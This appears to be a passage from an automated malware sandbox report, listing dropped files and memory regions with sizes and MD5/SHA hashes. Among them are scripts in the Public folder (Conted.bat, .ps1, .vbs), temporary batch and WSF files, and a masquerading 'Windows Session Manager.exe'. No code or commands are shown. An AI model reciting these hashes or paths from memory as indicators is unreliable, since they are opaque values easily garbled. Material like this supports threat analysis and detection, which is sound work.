                                          3ccace36e9ee545666bb3ba146e982be

                                          SHA1

                                          e0b67e9a317e965d7941aeae727993329f850ae8

                                          SHA256

                                          575e97eb10ff0db2c4c8ab661ac6dc906fb0d878728f2c2685261d5f9ad6030d

                                          SHA512

                                          5d72fd414136415d0e03699d79db34ae956f8276fa176e939110f9d448e5019fe92adbd6b53420ab53427ba71997602b6f9995f4ee5537efb811e1618911b4b6

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                          Filesize

                                          6KB

                                          MD5

                                          7aa5235db35fa8eab106d83b5d0437bc

                                          SHA1

                                          eef72dc40467a7e54f0303cb5d50a26a34e774b3

                                          SHA256

                                          51a334da0ccbff9afbd42f2ea08ef5119deddf7b02f1e2d1f9445f8d894d63dd

                                          SHA512

                                          bf2a838711bfdfb130030bcc1b24d3e2e6a79e2981daeb93d35ee760f08bbee229e1c485d79b77c849b2cabb27825487c03580b23c8c53ccd011d47247be2fcb

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                          Filesize

                                          16B

                                          MD5

                                          6752a1d65b201c13b62ea44016eb221f

                                          SHA1

                                          58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                          SHA256

                                          0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                          SHA512

                                          9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                          Filesize

                                          11KB

                                          MD5

                                          4a9e7b9685aa4a1b8eba91f3501064ad

                                          SHA1

                                          3f6f690e071c682fada5af755fbfbba41c256a3e

                                          SHA256

                                          1b36e97d74158422105c6cd946803be6f40398a610c916c235eb366f5d9d21ff

                                          SHA512

                                          a16d24c486ace37564642072b71c33e7e11f5fc44e446e4e84878f009940d2027f67527fef82236625293f242fbe6b978632c75d67e41a4392edebb5095659f5

                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\K4KS10IH\SS[1].txt

                                          Filesize

                                          1KB

                                          MD5

                                          b8a7b133191c0543199da1e93a7c65ac

                                          SHA1

                                          72ea81ecccbdd8680749a089352f4ce43ca3d548

                                          SHA256

                                          bd04f211afd5989130e8a0e35ea0d7be1e1540412ea3bd4b1557235db3e687a2

                                          SHA512

                                          73a7d3945eff66f42fba2a8df1f05767080666275c1cf2f0350d3af4bfc9fc8843af2624a8737d70055fddb72532f17dd1af52d2ed1b1b774b25d026df3f2a39

                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                          Filesize

                                          18KB

                                          MD5

                                          e3b5419dbd537c0ac54752109a98fe84

                                          SHA1

                                          d7af25d7c546c03ea3e4fd4dca46235cf5c94dec

                                          SHA256

                                          d985d4ff417ec84f66616b3f4cf20ae8433c4946fdf9e6ec729042337a8d9a62

                                          SHA512

                                          398bb8022dcca0ddd250319823e25a14d9a924cdc8592a76cdaf9eb294cafa3751baccd414513905fbc8c1f0fb0163b832acbb7dc2e63f4617403cbcc160fbeb

                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                          Filesize

                                          18KB

                                          MD5

                                          46277a0fe8a27661afdbcf36ec5e0149

                                          SHA1

                                          b3fc24f2a716311c96526b4ddebfb7f87d53f588

                                          SHA256

                                          432b9e8d38886f23b418af5b9a283a4d06e77bd69af473dfa2b33c7bb1959fbb

                                          SHA512

                                          a55efbf8b14b4af0d0109e085d026395168332603995e3cbd1c2511745d8db3d165235700454ead8b663eded5e012348b5c6b5f7a1b5a894bbe2ab356f86b173

                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                          Filesize

                                          18KB

                                          MD5

                                          e917ef767755ce15c68a0fa49d0ebf40

                                          SHA1

                                          8fa02208720fc18553de9d6475942d0a2a075147

                                          SHA256

                                          728ef387a5c1f71034f366e81b3d2128663e5187996713af08fde2657f4b6607

                                          SHA512

                                          cde59bbaeab97674b8338d84af38a0d54521fa42a523f84f1f46b346c7326dfec2ba3b0fcba5d800184a56a6102cf3f0f9a8774f5f5193cdc5d8d1a2c3838222

                                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2yhbbzqs.5lz.ps1

                                          Filesize

                                          60B

                                          MD5

                                          d17fe0a3f47be24a6453e9ef58c94641

                                          SHA1

                                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                          SHA256

                                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                          SHA512

                                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                        • C:\Users\Admin\AppData\Local\Temp\ciaxlj.wsf

                                          Filesize

                                          27KB

                                          MD5

                                          7ecb4c8ffea45ae4b8e12fd5f8f891eb

                                          SHA1

                                          a95aff7b0051544f68428199b8f042d28fe1207f

                                          SHA256

                                          de91c39430065d9d707bf5cfc90b7816d377d5822f379a65ef06f606e88a55d5

                                          SHA512

                                          b1de50dda1b9990a271b2d4e4ce1c69e7c5ac63c40567e672c04f620a62dedeea8da951dc3a26e2633a56831dce6e289a1a1ce9a6f61f3f38d2f6d93e25ee640

                                        • C:\Users\Admin\AppData\Local\Temp\fqdzhj.bat

                                          Filesize

                                          149KB

                                          MD5

                                          8f681e9844e48b62ae75fabb6f317229

                                          SHA1

                                          cf985e3027cf4b46236c177e66901250d7592a09

                                          SHA256

                                          4589d5b17afd1ed516a3ad4b2748ae0b0325ae713b3e40eba05adb86605ef935

                                          SHA512

                                          3d592be4db8410df3e67904bd573a160f8dd43017c57e847851374f1926f4a2242f1ecdbf53fa614e0e470091ae29cf1c53c6acedc3fcfba396d5dda6de55043

                                        • C:\Users\Admin\AppData\Local\Temp\tmp4B32.tmp.bat

                                          Filesize

                                          167B

                                          MD5

                                          085f7ba137013b629a99309bcf8b2998

                                          SHA1

                                          33d52f28dabcaf9c1682fd4ffa9fe1ea8bff2164

                                          SHA256

                                          9544ac2f65a3ce2ef9558b346df60e0af3d27329c6b82a57c85068a2c9b92bfa

                                          SHA512

                                          c60fb107c4216d9d9a9b8474dc88b528cbd10b53c15b772ae964146387c75c1ca7b9070007b2f6eddbfc0919e2ffb44e4a83f9e1ac4b948616404873f739085b

                                        • C:\Users\Admin\AppData\Local\Windows Session Manage.exe

                                          Filesize

                                          66KB

                                          MD5

                                          0dda2fcee8bec9941a9cf9c5bd866f10

                                          SHA1

                                          29dba01814ef258f12fc06f9771f8e795e0337af

                                          SHA256

                                          5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc

                                          SHA512

                                          030eee3ec291fe9a5bf7b6ab1155a853eec01dc13b7319e198872c3af8826f084dda7c60955daf5e893515a528485fadf62e1ad404060b664cecddb0093ed362

                                        • C:\Users\Admin\AppData\Local\Windows Session Manager.exe

                                          Filesize

                                          5KB

                                          MD5

                                          0200bc51a30cbce0876330588b6dedc7

                                          SHA1

                                          0f905add671396719246bd2d1874bc64ccf73819

                                          SHA256

                                          f5a031207da80580fd8a2f853f4026bec68e7acddb9bbdb7b586ede6cc643d3b

                                          SHA512

                                          549bd875dbcf59cbe93b3a594d2124f0a463f7676ca4393c6d54e466133b8e579dfa28290f360d62854f62ec22ec34a02d7103242eb94a899f1ce84755b1bd8c

                                        • C:\Users\Public\Conted.bat

                                          Filesize

                                          205B

                                          MD5

                                          759278dd3dc3679bf7efd1ec681c0aa1

                                          SHA1

                                          72b37494696deea940ac75b4c4e06e2b6ce419ef

                                          SHA256

                                          cba344447d8228d88c93d64ffdcda1de8562ef41adc4901191548e00bbfc5f19

                                          SHA512

                                          8b4f63354c5aa1ec4102e7aadbb2da34b2a0ba2d3ae6b8d22a70fd75c3c3b9e70cd4ce8128bd50cb400970697c49810c4ef69f96352e36ba4f2b7a647ab8a27f

                                        • C:\Users\Public\Conted.ps1

                                          Filesize

                                          413KB

                                          MD5

                                          1f82ca200852bb32aa56a5ed76171aae

                                          SHA1

                                          6e13c6dd596ae40455ccd9250c59f286fb845634

                                          SHA256

                                          a6939a0533782b8fa4892a8b22c1325de39df6734c160bfbd1a17db87011c51d

                                          SHA512

                                          1aa79f56c2a0e6ed664fd2bfddb47ae97151abc0a1d0b756f54339e486224abbf052b802bc57297c243e1c8984407d0b0fa5623fc032d9b79ad89dfa11d9578c

                                        • C:\Users\Public\Conted.vbs

                                          Filesize

                                          688B

                                          MD5

                                          110da9d3474ba64fa1a18c173685c25d

                                          SHA1

                                          9f093829518a9268bf9807fda7bef47e7832c497

                                          SHA256

                                          a31dbd6f7416f150403c19be69f02d5e8608f5e7fae88a29831d40db15849b60

                                          SHA512

                                          ef5fb4415fbd12e633ad964ca132ac3be81bfacd489db788b86fc7ef245d6f51bc08faecaf24874649d0c754b1892075a28042bf8483ab85b1996a25cfa57443

                                        • memory/1548-168-0x00000000049A0000-0x00000000049B0000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/1548-201-0x0000000006050000-0x000000000609C000-memory.dmp

                                          Filesize

                                          304KB

                                        • memory/1548-200-0x0000000005BF0000-0x0000000005C0E000-memory.dmp

                                          Filesize

                                          120KB

                                        • memory/1548-282-0x0000000074A00000-0x00000000751B0000-memory.dmp

                                          Filesize

                                          7.7MB

                                        • memory/1548-284-0x00000000049A0000-0x00000000049B0000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/1548-285-0x00000000049A0000-0x00000000049B0000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/1548-181-0x0000000005C20000-0x0000000005F74000-memory.dmp

                                          Filesize

                                          3.3MB

                                        • memory/1548-295-0x0000000074A00000-0x00000000751B0000-memory.dmp

                                          Filesize

                                          7.7MB

                                        • memory/1548-171-0x0000000005860000-0x00000000058C6000-memory.dmp

                                          Filesize

                                          408KB

                                        • memory/1548-170-0x00000000056C0000-0x00000000056E2000-memory.dmp

                                          Filesize

                                          136KB

                                        • memory/1548-169-0x00000000049A0000-0x00000000049B0000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/1548-167-0x0000000005020000-0x0000000005648000-memory.dmp

                                          Filesize

                                          6.2MB

                                        • memory/1548-165-0x00000000049B0000-0x00000000049E6000-memory.dmp

                                          Filesize

                                          216KB

                                        • memory/1548-166-0x0000000074A00000-0x00000000751B0000-memory.dmp

                                          Filesize

                                          7.7MB

                                        • memory/2820-150-0x0000000007350000-0x0000000007364000-memory.dmp

                                          Filesize

                                          80KB

                                        • memory/2820-103-0x0000000005570000-0x0000000005580000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/2820-156-0x00000000077F0000-0x0000000007800000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/2820-151-0x00000000076D0000-0x00000000076EE000-memory.dmp

                                          Filesize

                                          120KB

                                        • memory/2820-149-0x00000000073C0000-0x0000000007436000-memory.dmp

                                          Filesize

                                          472KB

                                        • memory/2820-98-0x0000000074A00000-0x00000000751B0000-memory.dmp

                                          Filesize

                                          7.7MB

                                        • memory/2820-139-0x0000000005570000-0x0000000005580000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/2820-138-0x0000000074A00000-0x00000000751B0000-memory.dmp

                                          Filesize

                                          7.7MB

                                        • memory/2820-120-0x0000000005DD0000-0x0000000006374000-memory.dmp

                                          Filesize

                                          5.6MB

                                        • memory/2820-123-0x0000000005D60000-0x0000000005DC6000-memory.dmp

                                          Filesize

                                          408KB

                                        • memory/2820-121-0x0000000005A00000-0x0000000005A92000-memory.dmp

                                          Filesize

                                          584KB

                                        • memory/2820-122-0x0000000005B90000-0x0000000005B9A000-memory.dmp

                                          Filesize

                                          40KB

                                        • memory/3372-79-0x0000000004FF0000-0x000000000508C000-memory.dmp

                                          Filesize

                                          624KB

                                        • memory/3372-78-0x0000000004F40000-0x0000000004F50000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/3372-29-0x0000000000660000-0x0000000000676000-memory.dmp

                                          Filesize

                                          88KB

                                        • memory/3372-32-0x0000000074AA0000-0x0000000075250000-memory.dmp

                                          Filesize

                                          7.7MB

                                        • memory/3372-84-0x0000000074AA0000-0x0000000075250000-memory.dmp

                                          Filesize

                                          7.7MB

                                        • memory/3420-30-0x00000000005C0000-0x00000000005C8000-memory.dmp

                                          Filesize

                                          32KB

                                        • memory/3420-34-0x0000000074AA0000-0x0000000075250000-memory.dmp

                                          Filesize

                                          7.7MB

                                        • memory/3420-42-0x0000000074AA0000-0x0000000075250000-memory.dmp

                                          Filesize

                                          7.7MB

                                        • memory/3536-240-0x0000000002970000-0x0000000002980000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/3536-229-0x0000000074A00000-0x00000000751B0000-memory.dmp

                                          Filesize

                                          7.7MB

                                        • memory/3536-292-0x0000000074A00000-0x00000000751B0000-memory.dmp

                                          Filesize

                                          7.7MB

                                        • memory/3536-239-0x0000000002970000-0x0000000002980000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/3876-283-0x0000000004C30000-0x0000000004C40000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/3876-218-0x0000000004C30000-0x0000000004C40000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/3876-217-0x0000000074A00000-0x00000000751B0000-memory.dmp

                                          Filesize

                                          7.7MB

                                        • memory/3876-289-0x0000000074A00000-0x00000000751B0000-memory.dmp

                                          Filesize

                                          7.7MB

                                        • memory/3876-228-0x0000000004C30000-0x0000000004C40000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/4140-184-0x0000000004970000-0x0000000004980000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/4140-183-0x0000000004970000-0x0000000004980000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/4140-182-0x0000000074A00000-0x00000000751B0000-memory.dmp

                                          Filesize

                                          7.7MB

                                        • memory/4140-251-0x00000000061C0000-0x00000000061DA000-memory.dmp

                                          Filesize

                                          104KB

                                        • memory/4140-281-0x0000000074A00000-0x00000000751B0000-memory.dmp

                                          Filesize

                                          7.7MB

                                        • memory/4140-278-0x0000000004970000-0x0000000004980000-memory.dmp

                                          Filesize

                                          64KB

                                        • memory/4140-250-0x0000000007550000-0x0000000007BCA000-memory.dmp

                                          Filesize

                                          6.5MB

                                        • memory/5108-33-0x00007FFCD5E30000-0x00007FFCD68F1000-memory.dmp

                                          Filesize

                                          10.8MB

                                        • memory/5108-2-0x00007FFCD5E30000-0x00007FFCD68F1000-memory.dmp

                                          Filesize

                                          10.8MB

                                        • memory/5108-0-0x0000000000380000-0x00000000003A0000-memory.dmp

                                          Filesize

                                          128KB